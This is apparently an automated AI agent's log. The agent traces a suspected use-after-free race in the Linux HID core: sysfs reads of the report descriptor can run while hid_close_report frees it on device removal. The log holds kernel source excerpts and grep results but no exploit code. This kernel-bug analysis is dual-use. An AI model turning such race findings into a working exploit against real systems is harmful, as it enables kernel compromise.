SourceFile:drivers/hid/hid-lg.c]
|
| 74/4 |
2026/05/19 10:07 |
llm |
repro-generator |
0m
Model:
Tokens:
input: 13826
output: 43
thoughts: 33
Thoughts: Okay, here's my take on those thoughts, framed as an expert's internal monologue:
**Investigating a "logitech" Driver Issue**
Right, so the driver in question is apparently labelled "logitech". That's a good starting point. Now, where to begin the hunt? Given the nature of HID drivers, the `report_descriptor_read` function seems like a likely candidate. It's a core component, residing in `drivers/hid/hid-core.c`. That's where I'd expect the initial parsing and interpretation of the device's capabilities to be handled. I need to take a look at the logic there; the root cause is probably there. Let's see what's what in `hid-core.c`.
|
| 75/4 |
2026/05/19 10:07 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/hid/hid-core.c IncludeLines:true Name:report_descriptor_read]
Results: map[SourceCode:2251: static ssize_t
2252: report_descriptor_read(struct file *filp, struct kobject *kobj,
2253: const struct bin_attribute *attr,
2254: char *buf, loff_t off, size_t count)
2255: {
2256: struct device *dev = kobj_to_dev(kobj);
2257: struct hid_device *hdev = to_hid_device(dev);
2258:
2259: if (off >= hdev->rsize)
2260: return 0;
2261:
2262: if (off + count > hdev->rsize)
2263: count = hdev->rsize - off;
2264:
2265: memcpy(buf, hdev->rdesc + off, count);
2266:
2267: return count;
2268: }
SourceFile:drivers/hid/hid-core.c]
|
| 76/4 |
2026/05/19 10:07 |
llm |
repro-generator |
0m
Model:
Tokens:
input: 14357
output: 43
thoughts: 59
Thoughts: Okay, here's my take on that. Let's see...
**Unlocking a Potential Race Condition in HID Report Handling**
Alright, so the core of the problem boils down to a potential race condition within the HID driver. Specifically, I'm concerned that `hdev->rsize` and `hdev->rdesc` are being accessed without proper locking mechanisms. This is a red flag. If these are accessed concurrently, and especially if `hid_close_report` is called at the same time, we're looking at a scenario where `hdev->rdesc` could be freed while another function is still trying to read from it. That screams memory corruption or a crash waiting to happen.
The immediate next step, obviously, is to dive into the `hid_close_report` function itself. I need to understand exactly what it's doing with these resources, and when it's freeing `hdev->rdesc`. I need to figure out the exact flow, identify how likely a conflict is, and of course, define the locking I'll need to use to resolve the issue. Now, let's look at that code...
|
| 77/4 |
2026/05/19 10:07 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/hid/hid-core.c IncludeLines:true Name:hid_close_report]
Results: map[SourceCode: 707: /*
708: * Close report. This function returns the device
709: * state to the point prior to hid_open_report().
710: */
711: static void hid_close_report(struct hid_device *device)
712: {
713: unsigned i, j;
714:
715: for (i = 0; i < HID_REPORT_TYPES; i++) {
716: struct hid_report_enum *report_enum = device->report_enum + i;
717:
718: for (j = 0; j < HID_MAX_IDS; j++) {
719: struct hid_report *report = report_enum->report_id_hash[j];
720: if (report)
721: hid_free_report(report);
722: }
723: memset(report_enum, 0, sizeof(*report_enum));
724: INIT_LIST_HEAD(&report_enum->report_list);
725: }
726:
727: /*
728: * If the HID driver had a rdesc_fixup() callback, dev->rdesc
729: * will be allocated by hid-core and needs to be freed.
730: * Otherwise, it is either equal to dev_rdesc or bpf_rdesc, in
731: * which cases it'll be freed later on device removal or destroy.
732: */
733: if (device->rdesc != device->dev_rdesc && device->rdesc != device->bpf_rdesc)
734: kfree(device->rdesc);
735: device->rdesc = NULL;
736: device->rsize = 0;
737:
738: kfree(device->collection);
739: device->collection = NULL;
740: device->collection_size = 0;
741: device->maxcollection = 0;
742: device->maxapplication = 0;
743:
744: device->status &= ~HID_STAT_PARSED;
745: }
SourceFile:drivers/hid/hid-core.c]
|
| 78/4 |
2026/05/19 10:07 |
llm |
repro-generator |
0m
Model:
Tokens:
input: 15340
output: 43
thoughts: 103
Thoughts: **Race Condition Alert!**
Okay, so I've been digging into this code and I've got a potential race condition here. It's centered around how the report descriptor is handled. If the `device->rdesc` pointer gets freed and, at the same time, `device->rsize` is set to zero, we've got a problem. Specifically, if `report_descriptor_read` reads `hdev->rsize` *before* it's been zeroed out, but *after* `hid_close_report` has freed `device->rdesc`, that `report_descriptor_read` call is going to be using a freed pointer, and we all know how that story ends - crashes, corruption, the whole nine yards.
Hang on a sec... I see that `hid_close_report` is called from `hid_device_remove`. Okay, that makes the timing window for this race condition even more crucial, and likely to be hit in a multi-threaded system. We need to lock that memory access down.
|
| 79/4 |
2026/05/19 10:07 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/hid/hid-core.c IncludeLines:true Name:hid_device_remove]
Results: map[SourceCode:2867: static void hid_device_remove(struct device *dev)
2868: {
2869: struct hid_device *hdev = to_hid_device(dev);
2870: struct hid_driver *hdrv;
2871:
2872: down(&hdev->driver_input_lock);
2873: hdev->io_started = false;
2874:
2875: hdrv = hdev->driver;
2876: if (hdrv) {
2877: if (hdrv->remove)
2878: hdrv->remove(hdev);
2879: else /* default remove */
2880: hid_hw_stop(hdev);
2881:
2882: /* Release all devres resources allocated by the driver */
2883: devres_release_group(&hdev->dev, hdev->devres_group_id);
2884:
2885: hid_close_report(hdev);
2886: hdev->driver = NULL;
2887: }
2888:
2889: if (!hdev->io_started)
2890: up(&hdev->driver_input_lock);
2891: }
SourceFile:drivers/hid/hid-core.c]
|
| 80/4 |
2026/05/19 10:07 |
llm |
repro-generator |
0m
Model:
Tokens:
input: 16089
output: 23
thoughts: 78
Thoughts: Okay, let me break this down.
**Unpacking the HID Driver Unbinding Process**
Right, so if I'm understanding this correctly, when a HID driver gets unbound, the system calls `hid_device_remove`. This triggers a cascade of events, specifically calling `hid_close_report`. That function, in turn, is responsible for freeing up `hdev->rdesc`, which I assume holds the report descriptor data. That makes sense, cleans up the resources.
Now, where does this critical `report_descriptor` data even come from in the first place? Ah, I remember, that's created during device addition, probably by `hid_add_device` or a similar function in the driver initialization sequence. Gotta be.
Wait a second… `report_descriptor` is actually implemented as a `bin_attribute` within the sysfs. That's a good clue. Now I need to go hunt down *where* exactly that `bin_attribute` is being initialized and populated. That'll give me the complete picture. Time to trace the creation of that file.
|
| 81/4 |
2026/05/19 10:07 |
tool |
codesearch-find-references |
0m
Args: map[Name:report_descriptor_read]
Results: map[References:<nil> TruncatedOutput:false]
|
| 82/4 |
2026/05/19 10:07 |
llm |
repro-generator |
0m
Model:
Tokens:
input: 16437
output: 19
thoughts: 46
Thoughts: Okay, here's my thought process on this:
**Digging into that Function Name**
Hmm, `report_descriptor_read`... Yep, that seems right for what I'm doing. Wait a sec, I *did* name it that, didn't I? Let me double-check... Yup, I did. Good. Now, are there any lingering references? Let's check the references... Crud, nothing shows up? Wait a minute... Ah, right, of course! It's static. That makes perfect sense. Static functions are only visible within their compilation unit, which would explain why I'm not seeing any external references. Okay, so that means I need to hunt for it within that file. Let's start with `drivers/hid/hid-core.c`. Hopefully, it's in there. I'll bet it is. Alright, let's find it.
|
| 83/4 |
2026/05/19 10:07 |
tool |
grepper |
0m
Args: map[Expression:report_descriptor_read]
Results: map[Output:drivers/hid/hid-core.c=2251=static ssize_t
drivers/hid/hid-core.c:2252:report_descriptor_read(struct file *filp, struct kobject *kobj,
drivers/hid/hid-core.c-2253- const struct bin_attribute *attr,
]
|
| 84/4 |
2026/05/19 10:07 |
llm |
repro-generator |
0m
Model:
Tokens:
input: 16789
output: 17
thoughts: 10
Thoughts: Okay, let's do this. Here's a summary of my internal thought process, tailored for an expert audience, and delivered in the first person:
**Navigating the Digital Landscape**
Alright, I'm at a point in this process where I've analyzed a specific part, and it's time to broaden my perspective. I've got a handle on the current element, but to be truly thorough, I need to zoom out. I'm thinking, "Let's check the rest of the file". This isn't just a casual glance; I'm mentally building context. I need to understand how this particular snippet fits into the broader architecture, the surrounding code, the overall data structure, the potential dependencies, and ultimately, the wider impact on the system. There could be critical connections and implicit assumptions, all of which might be revealed through broader context. So, I'll be going through the rest of the file to see how this area interacts with other parts.
|
| 85/4 |
2026/05/19 10:07 |
tool |
grepper |
0m
Args: map[Expression:report_descriptor]
Results: map[Output:
Full output is too long, showing 500 out of 514 lines.
Use more precise expression if possible.
[Documentation/ABI/testing/sysfs-driver-hid:1:What: /sys/bus/usb/devices/<busnum>-<devnum>:<config num>.<interface num>/<hid-bus>:<vendor-id>:<product-id>.<num>/report_descriptor
Documentation/ABI/testing/sysfs-driver-hid:2:What: /sys/class/bluetooth/hci<addr>/<hid-bus>:<vendor-id>:<product-id>.<num>/report_descriptor
Documentation/ABI/testing/sysfs-driver-hid:3:What: /sys/class/hidraw/hidraw<num>/device/report_descriptor
Documentation/ABI/testing/sysfs-driver-hid-4-Date: Jan 2011
--
Documentation/hid/hid-bpf.rst=339=accessing the current report descriptor of the device through the sysfs.
Documentation/hid/hid-bpf.rst:340:This is available at ``/sys/bus/hid/devices/BUS:VID:PID.000N/report_descriptor`` as a
Documentation/hid/hid-bpf.rst-341-binary stream.
--
Documentation/hid/hidintro.rst=71=one can read the corresponding report descriptor::
Documentation/hid/hidintro.rst-72-
Documentation/hid/hidintro.rst:73: $ hexdump -C /sys/bus/hid/devices/0003\:093A\:2510.0002/report_descriptor
Documentation/hid/hidintro.rst-74- 00000000 05 01 09 02 a1 01 09 01 a1 00 05 09 19 01 29 03 |..............).|
--
Documentation/hid/hidintro.rst=113=Parsing the mouse HID report descriptor with `hid-tools
--
Documentation/hid/hidintro.rst-116-
Documentation/hid/hidintro.rst:117: $ ./hid-decode /sys/bus/hid/devices/0003\:093A\:2510.0002/report_descriptor
Documentation/hid/hidintro.rst-118- # device 0:0
--
Documentation/hid/hidraw.rst=79=This ioctl returns the device's report descriptor using a
Documentation/hid/hidraw.rst:80:hidraw_report_descriptor struct. Make sure to set the size field of the
Documentation/hid/hidraw.rst:81:hidraw_report_descriptor struct to the size returned from HIDIOCGRDESCSIZE.
Documentation/hid/hidraw.rst-82-
--
Documentation/hid/hidreport-parsing.rst=8=introduced in Documentation/hid/hidintro.rst::
Documentation/hid/hidreport-parsing.rst-9-
Documentation/hid/hidreport-parsing.rst:10: $ hexdump -C /sys/bus/hid/devices/0003\:093A\:2510.0002/report_descriptor
Documentation/hid/hidreport-parsing.rst-11- 00000000 05 01 09 02 a1 01 09 01 a1 00 05 09 19 01 29 03 |..............).|
--
drivers/hid/amd-sfh-hid/hid_descriptor/amd_sfh_hid_desc.c-31-
drivers/hid/amd-sfh-hid/hid_descriptor/amd_sfh_hid_desc.c:32:static int get_report_descriptor(int sensor_idx, u8 *rep_desc)
drivers/hid/amd-sfh-hid/hid_descriptor/amd_sfh_hid_desc.c-33-{
--
drivers/hid/amd-sfh-hid/hid_descriptor/amd_sfh_hid_desc.c-35- case accel_idx: /* accel */
drivers/hid/amd-sfh-hid/hid_descriptor/amd_sfh_hid_desc.c:36: memset(rep_desc, 0, sizeof(accel3_report_descriptor));
drivers/hid/amd-sfh-hid/hid_descriptor/amd_sfh_hid_desc.c:37: memcpy(rep_desc, accel3_report_descriptor,
drivers/hid/amd-sfh-hid/hid_descriptor/amd_sfh_hid_desc.c:38: sizeof(accel3_report_descriptor));
drivers/hid/amd-sfh-hid/hid_descriptor/amd_sfh_hid_desc.c-39- break;
drivers/hid/amd-sfh-hid/hid_descriptor/amd_sfh_hid_desc.c-40- case gyro_idx: /* gyro */
drivers/hid/amd-sfh-hid/hid_descriptor/amd_sfh_hid_desc.c:41: memset(rep_desc, 0, sizeof(gyro3_report_descriptor));
drivers/hid/amd-sfh-hid/hid_descriptor/amd_sfh_hid_desc.c:42: memcpy(rep_desc, gyro3_report_descriptor,
drivers/hid/amd-sfh-hid/hid_descriptor/amd_sfh_hid_desc.c:43: sizeof(gyro3_report_descriptor));
drivers/hid/amd-sfh-hid/hid_descriptor/amd_sfh_hid_desc.c-44- break;
drivers/hid/amd-sfh-hid/hid_descriptor/amd_sfh_hid_desc.c-45- case mag_idx: /* Magnetometer */
drivers/hid/amd-sfh-hid/hid_descriptor/amd_sfh_hid_desc.c:46: memset(rep_desc, 0, sizeof(comp3_report_descriptor));
drivers/hid/amd-sfh-hid/hid_descriptor/amd_sfh_hid_desc.c:47: memcpy(rep_desc, comp3_report_descriptor,
drivers/hid/amd-sfh-hid/hid_descriptor/amd_sfh_hid_desc.c:48: sizeof(comp3_report_descriptor));
drivers/hid/amd-sfh-hid/hid_descriptor/amd_sfh_hid_desc.c-49- break;
--
drivers/hid/amd-sfh-hid/hid_descriptor/amd_sfh_hid_desc.c-51- case ACS_IDX: /* ambient color sensor */
drivers/hid/amd-sfh-hid/hid_descriptor/amd_sfh_hid_desc.c:52: memset(rep_desc, 0, sizeof(als_report_descriptor));
drivers/hid/amd-sfh-hid/hid_descriptor/amd_sfh_hid_desc.c:53: memcpy(rep_desc, als_report_descriptor,
drivers/hid/amd-sfh-hid/hid_descriptor/amd_sfh_hid_desc.c:54: sizeof(als_report_descriptor));
drivers/hid/amd-sfh-hid/hid_descriptor/amd_sfh_hid_desc.c-55- break;
drivers/hid/amd-sfh-hid/hid_descriptor/amd_sfh_hid_desc.c-56- case HPD_IDX: /* HPD sensor */
drivers/hid/amd-sfh-hid/hid_descriptor/amd_sfh_hid_desc.c:57: memset(rep_desc, 0, sizeof(hpd_report_descriptor));
drivers/hid/amd-sfh-hid/hid_descriptor/amd_sfh_hid_desc.c:58: memcpy(rep_desc, hpd_report_descriptor,
drivers/hid/amd-sfh-hid/hid_descriptor/amd_sfh_hid_desc.c:59: sizeof(hpd_report_descriptor));
drivers/hid/amd-sfh-hid/hid_descriptor/amd_sfh_hid_desc.c-60- break;
--
drivers/hid/amd-sfh-hid/hid_descriptor/amd_sfh_hid_desc.c=67=static u32 get_descr_sz(int sensor_idx, int descriptor_name)
--
drivers/hid/amd-sfh-hid/hid_descriptor/amd_sfh_hid_desc.c-72- case descr_size:
drivers/hid/amd-sfh-hid/hid_descriptor/amd_sfh_hid_desc.c:73: return sizeof(accel3_report_descriptor);
drivers/hid/amd-sfh-hid/hid_descriptor/amd_sfh_hid_desc.c-74- case input_size:
--
drivers/hid/amd-sfh-hid/hid_descriptor/amd_sfh_hid_desc.c-82- case descr_size:
drivers/hid/amd-sfh-hid/hid_descriptor/amd_sfh_hid_desc.c:83: return sizeof(gyro3_report_descriptor);
drivers/hid/amd-sfh-hid/hid_descriptor/amd_sfh_hid_desc.c-84- case input_size:
--
drivers/hid/amd-sfh-hid/hid_descriptor/amd_sfh_hid_desc.c-92- case descr_size:
drivers/hid/amd-sfh-hid/hid_descriptor/amd_sfh_hid_desc.c:93: return sizeof(comp3_report_descriptor);
drivers/hid/amd-sfh-hid/hid_descriptor/amd_sfh_hid_desc.c-94- case input_size:
--
drivers/hid/amd-sfh-hid/hid_descriptor/amd_sfh_hid_desc.c-103- case descr_size:
drivers/hid/amd-sfh-hid/hid_descriptor/amd_sfh_hid_desc.c:104: return sizeof(als_report_descriptor);
drivers/hid/amd-sfh-hid/hid_descriptor/amd_sfh_hid_desc.c-105- case input_size:
--
drivers/hid/amd-sfh-hid/hid_descriptor/amd_sfh_hid_desc.c-113- case descr_size:
drivers/hid/amd-sfh-hid/hid_descriptor/amd_sfh_hid_desc.c:114: return sizeof(hpd_report_descriptor);
drivers/hid/amd-sfh-hid/hid_descriptor/amd_sfh_hid_desc.c-115- case input_size:
--
drivers/hid/amd-sfh-hid/hid_descriptor/amd_sfh_hid_desc.c=283=void amd_sfh_set_desc_ops(struct amd_mp2_ops *mp2_ops)
drivers/hid/amd-sfh-hid/hid_descriptor/amd_sfh_hid_desc.c-284-{
drivers/hid/amd-sfh-hid/hid_descriptor/amd_sfh_hid_desc.c:285: mp2_ops->get_rep_desc = get_report_descriptor;
drivers/hid/amd-sfh-hid/hid_descriptor/amd_sfh_hid_desc.c-286- mp2_ops->get_feat_rep = get_feature_report;
--
drivers/hid/amd-sfh-hid/hid_descriptor/amd_sfh_hid_report_desc.h-13-// Accelerometer 3D Sensor
drivers/hid/amd-sfh-hid/hid_descriptor/amd_sfh_hid_report_desc.h:14:static const u8 accel3_report_descriptor[] = {
drivers/hid/amd-sfh-hid/hid_descriptor/amd_sfh_hid_report_desc.h-15-0x05, 0x20, /* Usage page */
--
drivers/hid/amd-sfh-hid/hid_descriptor/amd_sfh_hid_report_desc.h-181-
drivers/hid/amd-sfh-hid/hid_descriptor/amd_sfh_hid_report_desc.h:182:static const u8 gyro3_report_descriptor[] = {
drivers/hid/amd-sfh-hid/hid_descriptor/amd_sfh_hid_report_desc.h-183-0x05, 0x20, /* Usage page */
--
drivers/hid/amd-sfh-hid/hid_descriptor/amd_sfh_hid_report_desc.h-342-
drivers/hid/amd-sfh-hid/hid_descriptor/amd_sfh_hid_report_desc.h:343:static const u8 comp3_report_descriptor[] = {
drivers/hid/amd-sfh-hid/hid_descriptor/amd_sfh_hid_report_desc.h-344-0x05, 0x20, /* Usage page */
--
drivers/hid/amd-sfh-hid/hid_descriptor/amd_sfh_hid_report_desc.h-514-
drivers/hid/amd-sfh-hid/hid_descriptor/amd_sfh_hid_report_desc.h:515:static const u8 als_report_descriptor[] = {
drivers/hid/amd-sfh-hid/hid_descriptor/amd_sfh_hid_report_desc.h-516-0x05, 0x20, /* HID usage page sensor */
--
drivers/hid/amd-sfh-hid/hid_descriptor/amd_sfh_hid_report_desc.h-668-/* BIOMETRIC PRESENCE*/
drivers/hid/amd-sfh-hid/hid_descriptor/amd_sfh_hid_report_desc.h:669:static const u8 hpd_report_descriptor[] = {
drivers/hid/amd-sfh-hid/hid_descriptor/amd_sfh_hid_report_desc.h-670-0x05, 0x20, /* Usage page */
--
drivers/hid/amd-sfh-hid/sfh1_1/amd_sfh_desc.c=29=static int get_report_desc(int sensor_idx, u8 *rep_desc)
--
drivers/hid/amd-sfh-hid/sfh1_1/amd_sfh_desc.c-32- case ACCEL_IDX: /* accelerometer */
drivers/hid/amd-sfh-hid/sfh1_1/amd_sfh_desc.c:33: memset(rep_desc, 0, sizeof(accel3_report_descriptor));
drivers/hid/amd-sfh-hid/sfh1_1/amd_sfh_desc.c:34: memcpy(rep_desc, accel3_report_descriptor,
drivers/hid/amd-sfh-hid/sfh1_1/amd_sfh_desc.c:35: sizeof(accel3_report_descriptor));
drivers/hid/amd-sfh-hid/sfh1_1/amd_sfh_desc.c-36- break;
drivers/hid/amd-sfh-hid/sfh1_1/amd_sfh_desc.c-37- case GYRO_IDX: /* gyroscope */
drivers/hid/amd-sfh-hid/sfh1_1/amd_sfh_desc.c:38: memset(rep_desc, 0, sizeof(gyro3_report_descriptor));
drivers/hid/amd-sfh-hid/sfh1_1/amd_sfh_desc.c:39: memcpy(rep_desc, gyro3_report_descriptor,
drivers/hid/amd-sfh-hid/sfh1_1/amd_sfh_desc.c:40: sizeof(gyro3_report_descriptor));
drivers/hid/amd-sfh-hid/sfh1_1/amd_sfh_desc.c-41- break;
drivers/hid/amd-sfh-hid/sfh1_1/amd_sfh_desc.c-42- case MAG_IDX: /* magnetometer */
drivers/hid/amd-sfh-hid/sfh1_1/amd_sfh_desc.c:43: memset(rep_desc, 0, sizeof(comp3_report_descriptor));
drivers/hid/amd-sfh-hid/sfh1_1/amd_sfh_desc.c:44: memcpy(rep_desc, comp3_report_descriptor,
drivers/hid/amd-sfh-hid/sfh1_1/amd_sfh_desc.c:45: sizeof(comp3_report_descriptor));
drivers/hid/amd-sfh-hid/sfh1_1/amd_sfh_desc.c-46- break;
drivers/hid/amd-sfh-hid/sfh1_1/amd_sfh_desc.c-47- case ALS_IDX: /* ambient light sensor */
drivers/hid/amd-sfh-hid/sfh1_1/amd_sfh_desc.c:48: memset(rep_desc, 0, sizeof(als_report_descriptor));
drivers/hid/amd-sfh-hid/sfh1_1/amd_sfh_desc.c:49: memcpy(rep_desc, als_report_descriptor,
drivers/hid/amd-sfh-hid/sfh1_1/amd_sfh_desc.c:50: sizeof(als_report_descriptor));
drivers/hid/amd-sfh-hid/sfh1_1/amd_sfh_desc.c-51- break;
drivers/hid/amd-sfh-hid/sfh1_1/amd_sfh_desc.c-52- case HPD_IDX: /* HPD sensor */
drivers/hid/amd-sfh-hid/sfh1_1/amd_sfh_desc.c:53: memset(rep_desc, 0, sizeof(hpd_report_descriptor));
drivers/hid/amd-sfh-hid/sfh1_1/amd_sfh_desc.c:54: memcpy(rep_desc, hpd_report_descriptor,
drivers/hid/amd-sfh-hid/sfh1_1/amd_sfh_desc.c:55: sizeof(hpd_report_descriptor));
drivers/hid/amd-sfh-hid/sfh1_1/amd_sfh_desc.c-56- break;
--
drivers/hid/amd-sfh-hid/sfh1_1/amd_sfh_desc.c=263=static u32 get_desc_size(int sensor_idx, int descriptor_name)
--
drivers/hid/amd-sfh-hid/sfh1_1/amd_sfh_desc.c-268- case descr_size:
drivers/hid/amd-sfh-hid/sfh1_1/amd_sfh_desc.c:269: return sizeof(accel3_report_descriptor);
drivers/hid/amd-sfh-hid/sfh1_1/amd_sfh_desc.c-270- case input_size:
--
drivers/hid/amd-sfh-hid/sfh1_1/amd_sfh_desc.c-278- case descr_size:
drivers/hid/amd-sfh-hid/sfh1_1/amd_sfh_desc.c:279: return sizeof(gyro3_report_descriptor);
drivers/hid/amd-sfh-hid/sfh1_1/amd_sfh_desc.c-280- case input_size:
--
drivers/hid/amd-sfh-hid/sfh1_1/amd_sfh_desc.c-288- case descr_size:
drivers/hid/amd-sfh-hid/sfh1_1/amd_sfh_desc.c:289: return sizeof(comp3_report_descriptor);
drivers/hid/amd-sfh-hid/sfh1_1/amd_sfh_desc.c-290- case input_size:
--
drivers/hid/amd-sfh-hid/sfh1_1/amd_sfh_desc.c-298- case descr_size:
drivers/hid/amd-sfh-hid/sfh1_1/amd_sfh_desc.c:299: return sizeof(als_report_descriptor);
drivers/hid/amd-sfh-hid/sfh1_1/amd_sfh_desc.c-300- case input_size:
--
drivers/hid/amd-sfh-hid/sfh1_1/amd_sfh_desc.c-308- case descr_size:
drivers/hid/amd-sfh-hid/sfh1_1/amd_sfh_desc.c:309: return sizeof(hpd_report_descriptor);
drivers/hid/amd-sfh-hid/sfh1_1/amd_sfh_desc.c-310- case input_size:
--
drivers/hid/bpf/progs/hid_bpf_helpers.h-11-#include <linux/errno.h>
drivers/hid/bpf/progs/hid_bpf_helpers.h:12:#include "hid_report_descriptor_helpers.h"
drivers/hid/bpf/progs/hid_bpf_helpers.h-13-
--
drivers/hid/hid-core.c=2251=static ssize_t
drivers/hid/hid-core.c:2252:report_descriptor_read(struct file *filp, struct kobject *kobj,
drivers/hid/hid-core.c-2253- const struct bin_attribute *attr,
--
drivers/hid/hid-core.c=2271=country_show(struct device *dev, struct device_attribute *attr,
--
drivers/hid/hid-core.c-2278-
drivers/hid/hid-core.c:2279:static const BIN_ATTR_RO(report_descriptor, HID_MAX_DESCRIPTOR_SIZE);
drivers/hid/hid-core.c-2280-
--
drivers/hid/hid-core.c=2907=static const struct bin_attribute *hid_dev_bin_attrs[] = {
drivers/hid/hid-core.c:2908: &bin_attr_report_descriptor,
drivers/hid/hid-core.c-2909- NULL
--
drivers/hid/hidraw.c=397=static long hidraw_fixed_size_ioctl(struct file *file, struct hidraw *dev, unsigned int cmd,
--
drivers/hid/hidraw.c-418- if (copy_to_user(arg + offsetof(
drivers/hid/hidraw.c:419: struct hidraw_report_descriptor,
drivers/hid/hidraw.c-420- value[0]),
--
drivers/hid/intel-ish-hid/ishtp-hid-client.c=547=static int ishtp_get_hid_descriptor(struct ishtp_cl *hid_ishtp_cl, int index)
--
drivers/hid/intel-ish-hid/ishtp-hid-client.c-583-/**
drivers/hid/intel-ish-hid/ishtp-hid-client.c:584: * ishtp_get_report_descriptor() - Get report descriptor
drivers/hid/intel-ish-hid/ishtp-hid-client.c-585- * @hid_ishtp_cl: client instance
--
drivers/hid/intel-ish-hid/ishtp-hid-client.c-592- */
drivers/hid/intel-ish-hid/ishtp-hid-client.c:593:static int ishtp_get_report_descriptor(struct ishtp_cl *hid_ishtp_cl,
drivers/hid/intel-ish-hid/ishtp-hid-client.c-594- int index)
--
drivers/hid/intel-ish-hid/ishtp-hid-client.c=642=static int hid_ishtp_cl_init(struct ishtp_cl *hid_ishtp_cl, bool reset)
--
drivers/hid/intel-ish-hid/ishtp-hid-client.c-682-
drivers/hid/intel-ish-hid/ishtp-hid-client.c:683: rv = ishtp_get_report_descriptor(hid_ishtp_cl, i);
drivers/hid/intel-ish-hid/ishtp-hid-client.c-684- if (rv)
--
drivers/hid/intel-thc-hid/intel-quicki2c/pci-quicki2c.c=577=static int quicki2c_alloc_report_buf(struct quicki2c_device *qcdev)
--
drivers/hid/intel-thc-hid/intel-quicki2c/pci-quicki2c.c-580-
drivers/hid/intel-thc-hid/intel-quicki2c/pci-quicki2c.c:581: qcdev->report_descriptor = devm_kzalloc(qcdev->dev,
drivers/hid/intel-thc-hid/intel-quicki2c/pci-quicki2c.c-582- le16_to_cpu(qcdev->dev_desc.report_desc_len),
drivers/hid/intel-thc-hid/intel-quicki2c/pci-quicki2c.c-583- GFP_KERNEL);
drivers/hid/intel-thc-hid/intel-quicki2c/pci-quicki2c.c:584: if (!qcdev->report_descriptor)
drivers/hid/intel-thc-hid/intel-quicki2c/pci-quicki2c.c-585- return -ENOMEM;
--
drivers/hid/intel-thc-hid/intel-quicki2c/pci-quicki2c.c=631=static int quicki2c_probe(struct pci_dev *pdev, const struct pci_device_id *id)
--
drivers/hid/intel-thc-hid/intel-quicki2c/pci-quicki2c.c-724-
drivers/hid/intel-thc-hid/intel-quicki2c/pci-quicki2c.c:725: ret = quicki2c_get_report_descriptor(qcdev);
drivers/hid/intel-thc-hid/intel-quicki2c/pci-quicki2c.c-726- if (ret) {
--
drivers/hid/intel-thc-hid/intel-quicki2c/quicki2c-dev.h=164=struct acpi_device;
--
drivers/hid/intel-thc-hid/intel-quicki2c/quicki2c-dev.h-183- * @i2c_clock_lcnt: I2C CLK low period time (unit in cycle count)
drivers/hid/intel-thc-hid/intel-quicki2c/quicki2c-dev.h:184: * @report_descriptor: Store a copy of device report descriptor
drivers/hid/intel-thc-hid/intel-quicki2c/quicki2c-dev.h-185- * @input_buf: Store a copy of latest input report data
--
drivers/hid/intel-thc-hid/intel-quicki2c/quicki2c-dev.h=195=struct quicki2c_device {
--
drivers/hid/intel-thc-hid/intel-quicki2c/quicki2c-dev.h-216-
drivers/hid/intel-thc-hid/intel-quicki2c/quicki2c-dev.h:217: u8 *report_descriptor;
drivers/hid/intel-thc-hid/intel-quicki2c/quicki2c-dev.h-218- u8 *input_buf;
--
drivers/hid/intel-thc-hid/intel-quicki2c/quicki2c-hid.c=21=static int quicki2c_hid_parse(struct hid_device *hid)
--
drivers/hid/intel-thc-hid/intel-quicki2c/quicki2c-hid.c-24-
drivers/hid/intel-thc-hid/intel-quicki2c/quicki2c-hid.c:25: if (qcdev->report_descriptor)
drivers/hid/intel-thc-hid/intel-quicki2c/quicki2c-hid.c:26: return hid_parse_report(hid, qcdev->report_descriptor,
drivers/hid/intel-thc-hid/intel-quicki2c/quicki2c-hid.c-27- le16_to_cpu(qcdev->dev_desc.report_desc_len));
--
drivers/hid/intel-thc-hid/intel-quicki2c/quicki2c-protocol.c=99=int quicki2c_get_device_descriptor(struct quicki2c_device *qcdev)
--
drivers/hid/intel-thc-hid/intel-quicki2c/quicki2c-protocol.c-118-
drivers/hid/intel-thc-hid/intel-quicki2c/quicki2c-protocol.c:119:int quicki2c_get_report_descriptor(struct quicki2c_device *qcdev)
drivers/hid/intel-thc-hid/intel-quicki2c/quicki2c-protocol.c-120-{
--
drivers/hid/intel-thc-hid/intel-quicki2c/quicki2c-protocol.c-125- return thc_swdma_read(qcdev->thc_hw, (u8 *)&desc_reg, HIDI2C_REG_LEN,
drivers/hid/intel-thc-hid/intel-quicki2c/quicki2c-protocol.c:126: &prd_len, qcdev->report_descriptor, &read_len);
drivers/hid/intel-thc-hid/intel-quicki2c/quicki2c-protocol.c-127-}
--
drivers/hid/intel-thc-hid/intel-quicki2c/quicki2c-protocol.h=17=int quicki2c_get_device_descriptor(struct quicki2c_device *qcdev);
drivers/hid/intel-thc-hid/intel-quicki2c/quicki2c-protocol.h:18:int quicki2c_get_report_descriptor(struct quicki2c_device *qcdev);
drivers/hid/intel-thc-hid/intel-quicki2c/quicki2c-protocol.h-19-int quicki2c_reset(struct quicki2c_device *qcdev);
--
drivers/hid/intel-thc-hid/intel-quickspi/pci-quickspi.c=537=static int quickspi_alloc_report_buf(struct quickspi_device *qsdev)
--
drivers/hid/intel-thc-hid/intel-quickspi/pci-quickspi.c-541-
drivers/hid/intel-thc-hid/intel-quickspi/pci-quickspi.c:542: qsdev->report_descriptor = devm_kzalloc(qsdev->dev,
drivers/hid/intel-thc-hid/intel-quickspi/pci-quickspi.c-543- le16_to_cpu(qsdev->dev_desc.rep_desc_len),
drivers/hid/intel-thc-hid/intel-quickspi/pci-quickspi.c-544- GFP_KERNEL);
drivers/hid/intel-thc-hid/intel-quickspi/pci-quickspi.c:545: if (!qsdev->report_descriptor)
drivers/hid/intel-thc-hid/intel-quickspi/pci-quickspi.c-546- return -ENOMEM;
--
drivers/hid/intel-thc-hid/intel-quickspi/pci-quickspi.c=585=static int quickspi_probe(struct pci_dev *pdev,
--
drivers/hid/intel-thc-hid/intel-quickspi/pci-quickspi.c-662-
drivers/hid/intel-thc-hid/intel-quickspi/pci-quickspi.c:663: ret = quickspi_get_report_descriptor(qsdev);
drivers/hid/intel-thc-hid/intel-quickspi/pci-quickspi.c-664- if (ret) {
--
drivers/hid/intel-thc-hid/intel-quickspi/quickspi-dev.h=85=struct acpi_device;
--
drivers/hid/intel-thc-hid/intel-quickspi/quickspi-dev.h-112- * @low_power_ltr_val: THC low power LTR value
drivers/hid/intel-thc-hid/intel-quickspi/quickspi-dev.h:113: * @report_descriptor: store a copy of device report descriptor
drivers/hid/intel-thc-hid/intel-quickspi/quickspi-dev.h-114- * @input_buf: store a copy of latest input report data
--
